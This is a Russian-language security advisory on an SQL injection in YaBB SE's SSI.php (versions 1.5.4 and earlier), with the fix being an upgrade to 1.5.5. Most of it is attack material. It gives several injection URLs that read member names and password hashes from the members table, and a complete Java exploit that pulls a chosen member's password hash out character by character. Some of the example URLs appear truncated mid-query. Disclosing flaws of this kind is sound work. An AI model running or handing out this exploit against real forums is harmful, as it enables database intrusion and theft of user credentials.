Дата публикации: | 22.01.2004 |
Дата изменения: | 17.10.2006 |
Всего просмотров: | 2817 |
Опасность: | Критическая |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: YaBB SE 1.5.4, 1.5.3 и более ранние версии
Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'. Удаленный пользователь может внедрить произвольные SQL команды. Удаленный атакующий может представить специально обработанный URL, чтобы выполнить произвольные команды на основной базе данных. Уязвимость связанна с недостаточной фильтрацией данных, представленных пользователем в параметре ID_MEMEBER в функциях 'recentTopics' и 'welcome'. Пример: http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2) +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+ lmr.ID_MEN+SELECT+ID_MEMBER,+ memberName,null,passwd,null,passwd,null,null,null,null,null,null+ FROM+yabbse_members+/* http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1) +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_ME ull,null+FROM+yabbse_members+/* http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2) +GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+Эксплоит: /* * YabbSe SQL Injection test code * The code is very ugly but it works OK * Use at your own risk. * compile: * javac yabb.java * exec: * java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1 * parameters are: * java yabb [url with path] [database_prefix] [ID_MEMBER] */ import java.net.*; import java.io.*; public class yabb { public static void main(String[] args) throws Exception { boolean lastChar = false; String Key = ""; for ( int count=1; count <= 32 ; count++) { URL yabbForum = new URL(args[0] + "SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP %20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20 %20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*"); BufferedReader in = new BufferedReader(new InputStreamReader(yabbForum.openStream())); String inputLine; inputLine = in.readLine(); int pos = inputLine.indexOf("action=im"); int pos2 = inputLine.indexOf(" ", pos + 11); if ( pos < 0 ) { System.out.println("ERROR: The server doesn't return any data"); System.exit(0); } String theNumber = inputLine.substring( pos + 11, pos2); System.out.println(theNumber + "-" + new Character((char)Integer.parseInt(theNumber.trim())).toString()); Key += new Character((char)Integer.parseInt(theNumber.trim())).toString(); in.close(); } System.out.println("Hashed password : " + Key); } URL производителя: http://www.yabbse.org Решение:Установите обновленную версию программы (1.5.5): http://www.yabbse.org/download.php |
|
Ссылки: | Yabb SE SQL Injection |